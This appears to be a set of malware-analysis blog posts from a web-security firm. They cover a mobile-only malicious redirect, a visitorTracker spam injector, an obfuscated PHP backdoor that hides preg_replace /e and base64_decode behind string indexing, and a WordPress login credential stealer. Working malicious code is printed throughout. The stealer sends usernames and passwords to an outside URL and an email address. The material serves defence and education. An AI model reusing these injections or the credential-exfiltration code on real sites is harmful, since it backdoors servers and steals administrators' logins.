Targeting mobile devices the easy way

With the outburst of mobile-only malware, we’re seeing a lot of mobile-devices targeted campaigns in last years. There are lot of ways how to make sure that the malware / redirect will be activated only on such a device, including mobile-platform UserAgent detection and similar.

Our analyst 12 noticed, however, one unbelievably simple method. What’s the main difference between mobile and your computer? Yes, the screen size…

<script type="text/javascript"> 
if (screen.width <= 480) {
window.location = "http://malicious-domain-replaced.com/43ee0b11-0ec3-4bcf-b6a7-7f14895df667";
}
</script>

The redirect was activated only when the site with it was opened on a small screen (which is a really nice indicator of a mobile device).

Mobile times are here and the attackers know that. We should be aware of our devices security and that each of us is targeted through our little electronic friends. As webmasters, we should know that if we don’t see malware on their sites maybe it’s just because the malware targets a different device. Stay safe!

visitorTracker spam-seo injector wave corrupts sites

Recently, we\'re seeing an increasing visitorTracker malware wave.

Moreover, there are lot of corrupted infections out there, breaking the infected sites. Right now, the malicious code starts and ends with visitorTracker comment tag and lot of site\'s legitimate JavaScript files are injected with the malicious code as well. The outcome - in case of successful (not broken) infection - is spam content served for the visitors using mobile devices.

Part of the malicious injection:

var visitortrackerin = setInterval(function(){
    if(document.body != null && typeof document.body != "undefined"){
        clearInterval(visitortrackerin);
        if(typeof window["globalvisitor"] == "undefined"){
            window["globalvisitor"] = 1;
            var isIE = visitortrackerde();
            var isChrome = !isIE && !!window.chrome && window.navigator.vendor === "Google Inc.";
            if(visitorTracker_ isMob ()){
              var visitortrackervs = document.createElement("script"); visitortrackervs.src = "http://test.com/components/com_banners/models/main_configuration/watch.php?mob=1"; document.getElementsByTagName("head")[0].appendChild(visitortrackervs);
            }else{
                if((isIE && !isChrome && !visitorTracker_isMob())){
                    var visitortrackervs = document [.] createElement("script"); visitortrackervs.src = "http://test.com/components/com_banners/models/main_configuration/watch.php"; document.getElementsByTagName("head")[0].appendChild(visitortrackervs);
                } 
            }
        }
        visitortracksdel();
    }

As mentioned, the infection is very buggy and often removed single-quotes from legitimate files which corrupts the site completely. Affects plugins, themes and even core files of WordPress and Joomla. The solution is to restore files from a clean backup.

How to eval() without eval() in PHP

According to our daily malware analysis experience, we've noticed that the bad guys are using obfuscation more and more to hide what they are doing. Take for example this piece of code we found injected on a website:

$uhn = “IdsdMR8PY8e1rnrTQVgH_ebFESWoiH6334BT7d9j*z7M6n1uYgUD8evi2K/30_lNfsX0.lw4Sc9V5XcY/emePeeUSjZ4batLBeJbDavItop7ta.gpWrmqGczwpMnelaCs_X”;  $ryhblanf = $uhn[29] .$uhn[15] .$uhn[35] .$uhn[7] .$uhn[129] .$uhn[4] .$uhn[127] .$uhn[88] .$uhn[51] .$uhn[8] .$uhn[50] .$uhn[130] .$uhn[48] .$uhn[87];  $xwxmciatqb = $uhn[49] .$uhn[53] .$uhn[104] .$uhn[124] .$uhn[13] .$uhn[54];  $bziukecaog = $uhn[112] .$uhn[12] .$uhn[85] .$uhn[111] .$uhn[61] .$uhn[114] .$uhn[97] .$uhn[121] .$uhn[125] .$uhn[101] .$uhn[118] .$uhn[83];  $qzwqaaxjed = $uhn[22] .$uhn[126] .$uhn[2] .$uhn[21] .$uhn[44] .$uhn[91] .$uhn[20] .$uhn[1] .$uhn[10] .$uhn[73] .$uhn[105] .$uhn[3] .$uhn[86];  $nuohhxqkdz = $uhn[58] .$uhn[68] .$uhn[40] .$uhn[80] .$uhn[81];  $hawrkpadgq = $uhn[110];  $vpbucerp = $xwxmciatqb($ryhblanf);  $bziukecaog ($nuohhxqkdz , $qzwqaaxjed($vpbucerp) , $hawrkpadgq);

No sign of any "eval()" and no sign of "preg_replace()" with the eval switch like in the majority of malware files.

When I looked at it for the first time, I thought that that’s just some corrupted/incomplete malware which can’t work. But one of the prerequisites for my job is "being curious" - And I am, so I checked it more deeply and... the result was interesting!

First, I decided to beautify the code to see it more clearly…

$uhn        = "IdsdMR8PY8e1rnrTQVgH_ebFESWoiH6334BT7d9j*z7M6n1uYgUD8evi2K/30_lNfsX0.lw4Sc9V5XcY/emePeeUSjZ4batLBeJbDavItop7ta.gpWrmqGczwpMnelaCs_X";
$ryhblanf   = $uhn[29] . $uhn[15] . $uhn[35] . $uhn[7] . $uhn[129] . $uhn[4] . $uhn[127] . $uhn[88] . $uhn[51] . $uhn[8] . $uhn[50] . $uhn[130] . $uhn[48] . $uhn[87];
$xwxmciatqb = $uhn[49] . $uhn[53] . $uhn[104] . $uhn[124] . $uhn[13] . $uhn[54];
$bziukecaog = $uhn[112] . $uhn[12] . $uhn[85] . $uhn[111] . $uhn[61] . $uhn[114] . $uhn[97] . $uhn[121] . $uhn[125] . $uhn[101] . $uhn[118] . $uhn[83];
$qzwqaaxjed = $uhn[22] . $uhn[126] . $uhn[2] . $uhn[21] . $uhn[44] . $uhn[91] . $uhn[20] . $uhn[1] . $uhn[10] . $uhn[73] . $uhn[105] . $uhn[3] . $uhn[86];
$nuohhxqkdz = $uhn[58] . $uhn[68] . $uhn[40] . $uhn[80] . $uhn[81];
$hawrkpadgq = $uhn[110];
$vpbucerp   = $xwxmciatqb($ryhblanf);
$bziukecaog($nuohhxqkdz, $qzwqaaxjed($vpbucerp), $hawrkpadgq);

//echo $ryhblanf . "\r\n"; HTTP_MCSDYUXYU
//echo $xwxmciatqb . "\r\n"; getenv
//echo $bziukecaog . "\r\n"; preg_replace
//echo $qzwqaaxjed . "\r\n"; base64_decode
//echo $nuohhxqkdz . "\r\n"; /.*/e
// echo $hawrkpadgq . "\r\n"; .

Those commented lines at the bottom are my own – they helped me to understand what’s under each variable and how it works.. As you can see, it has a getenv, preg_replace, base64_decode and when you put it all together, you get the readable code:

$vpbucerp   = getenv("HTTP_MCSDYUXYU");
preg_replace("/.*/e", base64_decode($vpbucerp), ".");

And that’s it – yes, there actually ARE eval() and even base64_decode() functions, but hidden behind variables. Otherwise, it's really just malicious backdoor component which reads some custom environment variable where the actual payload should be stored. Curious about other ways of running the code in PHP without using eval() at all?

There are.

Most common is preg_replace with that “/e” switch (directly evaluates the expression after replacing), one of less common, but very interesting is the PHP assert() function. As mentioned in the PHP official documentation: If the assertion is given as a string it will be evaluated as PHP code by assert(). And there are others surprises in PHP.

WordPress password stealer

Following Fio's recent post on the Joomla password stealer, here's another beautiful example of password stealer. This time from WordPress environment.

It's easy to understand, but what's interesting - it looks like legitimate code so you can easily overlook it. It stores its data in "png" files within ./wp-includes/images/ path and sends them to a non-obfuscated email address.

This is the bad part that was injected on the file user.php on wp-admin:

// Start Login Protection
    $ip = $_SERVER["REMOTE_ADDR"];
    $stringData = $_SERVER["SERVER_NAME"] . "|" . $username . ":" . $password . "|" . $ip . "\n";
    $today = date("j");
    $myErrorFile = getcwd() . "/wp-includes/images/icon-download.png";
    $mySuccessFile = getcwd() . "/wp-includes/images/icon-up-flag.png";
    $failedLogContent = @file_get_contents($myErrorFile);
    $successLogContent = @file_get_contents($mySuccessFile);
    $errorFileLines = explode("\n", $failedLogContent);
    $diff = $today - $errorFileLines[0];
    if ( ($diff >= 7) || ($diff < 0) ) { @unlink($myErrorFile); $failedLogContent = ""; }
        if (preg_match("/{$ip}/i", $successLogContent)) $userOk = 1;
        preg_match_all("/{$ip}/i", $failedLogContent, $matches);
        if  ( (count($matches[0]) > 5) && (!$userOk) ) $password = "G4o7Ivc29OVOxcp5";
    if ( wp_check_password($password, $userdata->user_pass, $userdata->ID) ) {
    @file_get_contents("http://www.carriagebandb.com/cgi-bin/optimus.pl?prime=$stringData");
    @mail("anto@netherlandbarmuda.com", $_SERVER["SERVER_NAME"], $stringData);
    if (!$userOk) {
    $fh = fopen($mySuccessFile, "a");
    fwrite($fh, "$ip\n");
    fclose($fh);
    }
    } else {
    if (!(is_file($myErrorFile))) {
    $fh = fopen($myErrorFile, "w");
    fwrite($fh, "$today\n");
    fclose($fh);
    }
    $fh = fopen($myErrorFile, "a");
    fwrite($fh, $stringData);
    fclose($fh);
    }
// END Login Protection</pre>

Anyway, keep your eyes open, guys 🙂